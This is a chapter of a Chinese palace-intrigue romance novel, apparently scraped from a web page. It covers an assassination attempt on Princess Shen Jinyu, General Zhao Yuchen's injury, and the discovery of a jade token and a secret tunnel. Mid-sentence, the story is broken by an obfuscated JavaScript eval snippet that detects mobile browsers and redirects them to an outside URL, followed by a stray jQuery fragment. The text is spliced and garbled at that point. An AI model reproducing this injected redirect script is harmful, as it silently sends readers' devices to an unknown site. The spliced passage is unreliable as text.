沈瑾瑜正下令将李明远押往诏狱,忽听殿外传来急促马蹄声,蹄音未至人先到,紧接着一道熟悉的怒吼破空而来:
“小心!”
沈瑾瑜心中一紧,几乎是本能反应地后仰。利刃擦着她下颌而过,带起一道冷风。李明远竟挣脱了押解,在一名暗卫松手之际反身抽出匕首,直刺她心口。
一道黑影猛地扑来,重重撞向李明远。金属撞入血肉的闷响紧随而至。
“赵将军!”林彬惊叫出声,抬刀劈向李明远手腕。
李明远被逼退两步,手腕被砍得血肉模糊。他面色狰狞,猛地甩袖,三枚毒镖激射而出。沈瑾瑜反应极快,一掌拍翻案几,碎瓷飞溅,毒镖撞上瓷片方向一偏,擦着她耳际钉入墙壁。冷光犹在颤动,尾部清晰刻着一个“肃”字。
赵煜晨半跪在地,脸色苍白,右肩鲜血如注,铠甲缝隙间不断渗出。那柄刺向沈瑾瑜的匕首,此刻牢牢卡在他肩胛骨下方,正中旧伤。
沈瑾瑜怔在原地,脑海中浮现出多年前的情景——那时,她跌入山涧,是他跃下悬崖,用背挡住了塌落的巨石。那道伤口至今未愈,而今日,他又以同样姿势,再次挡在她身前。
“殿下……勿管我……”赵煜晨咬紧牙关,强撑着抬头,眼神如炬,“快追……他可能还有同党。”
沈瑾瑜没有动,反而俯下身,一手撑地,一手伸向他的铠甲扣带。她语气镇定,却压着隐忍的颤抖:“先止血。”
林彬已命人追捕,余光见状,默然转身,避开二人。
沈瑾瑜的手在赵煜晨右肩缓缓拨开铠甲,铠甲下的旧伤如蜈蚣盘踞,新伤却更深,血肉翻卷,鲜血浸透了贴身衣衫。她指尖轻抚那道交错的疤痕,声音哑得几不可闻:“当年你替我挡下乱石,如今又……”
赵煜晨望着她,嘴角扯出一点笑意:“臣之职责。况且……这一剑,总比当年的山石好受些。”
“你不该来的。”沈瑾瑜低声说,眼中闪过一丝怒意,“我已调林彬接手东宫防务,你此刻应在西北。”
赵煜晨静默半息,才缓缓开口:“秦校尉来信,说西北暂安。我便自请回京,一来递密函给你,二来……”他眼神定住她脸上的血痕,语气低沉,“我心中不安,怕你出事。”
沈瑾瑜微顿,眼神有一瞬的松动。她抬手擦了擦下颌的血痕,那是李明远匕首擦过的伤口,虽浅却惊心。
“你不该冒险的。”她低声重复,语气仍有压抑的怒意,却更像自责。
赵煜晨喉头微动,似有话要说,却终究只是摇了摇头。他强撑着起身,一手按住伤口,一手从腰间取出一封密函,递给她。
“密函中有一份肃王亲军与西北部分驻军的暗中往来记录,其中一名联络人,正是李明远的副将。”
沈瑾瑜接过信函,收进袖中。她望向墙上的“玄武门”三字,低声道:“宫门之事若成,京城必陷。你来的正是时候。”
赵煜晨咳出一口血沫,摇头苦笑:“我怕我来晚一步。”
沈瑾瑜忽然俯身,取出药包,用干净布帛压住他伤口:“你再迟一刻,这一剑就是我中。”
赵煜晨垂眸看她,目光透出难以掩饰的柔意。他低声:“那……这一剑,值了。”
沈瑾瑜手一顿,回头看他:“你知不知道,若我出事,你回京也无用了。”
赵煜晨一笑:“不。我回京,只因你在这。”
两人相对无言,空气中一时只有他断续的呼吸和布帛染血的渗水声。
良久,沈瑾瑜低声道:“西北之事刚定,你此番擅自回京,若被人参一本,恐惹非议。”
赵煜晨淡淡道:“若你想治罪,我自请回军营领罚。但若能护你周全,这罪,我甘愿担。”
沈瑾瑜不语,只将布带紧紧缠住他肩头,手指收紧,显得格外用力。
“殿下……”赵煜晨忽然轻声道。
“嗯?”她抬眼。
他直视着她,声音微哑:“我也曾想过,若当年我未替你挡那块石头,是不是你就不会记住我这么久。”
沈瑾瑜怔住。
“可我现在明白了。”赵煜晨轻声笑了笑,“你不记得也好,不在意也罢,我挡,是我心甘。”
沈瑾瑜轻轻呼出一口气,转开脸:“如今你回来了,就安生养伤。明日,我要去肃王府地下室,找宇文嫣。”
赵煜晨点头,语气温和:“我陪你去。”
“不行。”沈瑾瑜转身收好药包,语气恢复冷静,“你如今伤重,不许再任性。”
赵煜晨目光落在她背影,低低应了一声:“是。”
林彬在殿外回返,小声禀报:“李明远的副将已在东市附近被擒,暂未脱逃。”
沈瑾瑜转身道:“将人押至密阁,严审。命暗卫十人,今夜随我去肃王府。”
林彬应声而去。
她看了赵煜晨一眼,语气略缓:“你留下。若明日辰时未归,交这份信函给皇上。”
赵煜晨点头,但眼中不肯退让:“你若不归,我便亲闯肃王府。”
沈瑾瑜顿了顿,终是低声道:“不许。”
他轻轻一笑:“我听你的。”
殿中灯火未灭,夜风吹动,墙上的“玄武门”三个字被火光映得愈发清晰。乱局初现,而她与他,已然并肩而立。
一个时辰后。
林彬取来一方黑布,将李明远尸体仔细翻检。他蹲在地上,指尖触到靴底内层,眉头一皱,取出一柄短匕,小心划开夹层,竟从中拽出一块残缺玉佩。
那是一枚半圆形羊脂白玉,磨痕极轻,显然常年佩戴。玉上刻着一个“乾”字,笔力沉稳,与市面常见雕工大异。
“殿下。”林彬双手呈上。
沈瑾瑜低头看了眼,眼神猛地一紧。
“乾”字,是沈氏家族中少有的命名字辈之一,只有宗亲可用。她脑海中骤然浮现出多日前宇文拓临死前的留言——“沈乾元,肃王本名”。
她抬眸,语气冷了几分:“去查李明远三个月内的所有行踪,尤其与肃王府出入记录。”
林彬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426400|165550||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
应声退下,脚步未落地便已召人调阅通行册与暗卫线报。
沈瑾瑜转身走向书架,目光在密密层叠的卷宗与兵符中略过,指尖一一掠过木盒封缝,似在找某样东西。
赵煜晨此时被羽林卫搀扶着坐在长榻上,额角冷汗未干,仍强撑精神。他目光一凝,忽然看向北墙,墙面上挂着一幅玄武门布防图。
他声音压低,却带着警觉:“玄武门布防图与实际不符。”
沈瑾瑜闻言转头,快步走至墙边:“何处?”
赵煜晨抬手,指着图上标注的“禁军驻守”区域:“此处标注三百人,但昨日我回京途中,途经西偏门时,实则只有一百二十人。”
沈瑾瑜蹙眉,凝神看去,图上的“禁军”二字边缘果然有些模糊,似是有水痕晕染的痕迹。她伸手敲了敲图后墙面,声音空洞。
“有人动过手脚。”她轻声道,“这图,是假的。真图……应该在——”
话音未落,地面忽然传来一阵轻微震动,如地脉轻颤。沈瑾瑜与赵煜晨几乎同时警觉,目光转向书架底部。
林彬当机立断,扑身下探,手掌按在书架一角,发出轻响。他察觉到地砖下有微弱气流,一刀挑开地砖边缘,碎石翻出一块活动青砖,露出一道漆黑的通道。
一阵潮湿的气息扑面而来,下面是石阶延伸的通道,深处隐约有火光跳动,像是有人方才路过。
“密道!”林彬站起身,拔刀出鞘,声音低而警惕,“卑职下去查探。”
沈瑾瑜却伸手按住他肩膀:“小心埋伏,带十名羽林卫,务必生擒活口,一个不留。”
林彬点头,已从外调来羽林卫,将通道口围得密不透风。他亲自率队下行。
赵煜晨目光不舍,咬牙撑起身形:“我也去。”
沈瑾瑜一把按住他肩膀,将他重新压回榻上:“不行。”
赵煜晨低声道:“此事与肃王有关,我去,也许能——”
“你伤还未稳。”她打断他,语气坚决,“更重要的是,西北驻军仍归你节制。若你有失,兵权无人可继,我孤掌难鸣。”
赵煜晨神色微顿,终是没再挣扎。他闭了闭眼,低声道:“我明白。”
沈瑾瑜松开手,转身取出案上地图与兵符,交给林彬副将:“若通道尽头连通肃王府,就地取证,即刻封锁所有出口,绝不能让人逃脱。”
副将抱拳领命。
片刻后,密道中传来脚步声,渐渐消失在黑暗深处。石砖重新复位,房中一时寂静。
沈瑾瑜转身回到赵煜晨身侧,目光落在他渗血的肩上。她缓缓跪下,重新替他检查伤口,动作细致无言。
“殿下……”赵煜晨低声唤她。
“嗯?”
“你刚才说,没有我,兵权无人可继。”他轻声道,“可你不怕我因你之故,陷得更深?”
赵煜晨垂眸看她,指尖紧握衣角。她离他如此近,近到能听清对方所说的每一个字。即便大致能猜得出对方心里所想,他也想听从沈瑾瑜口中说出的答案。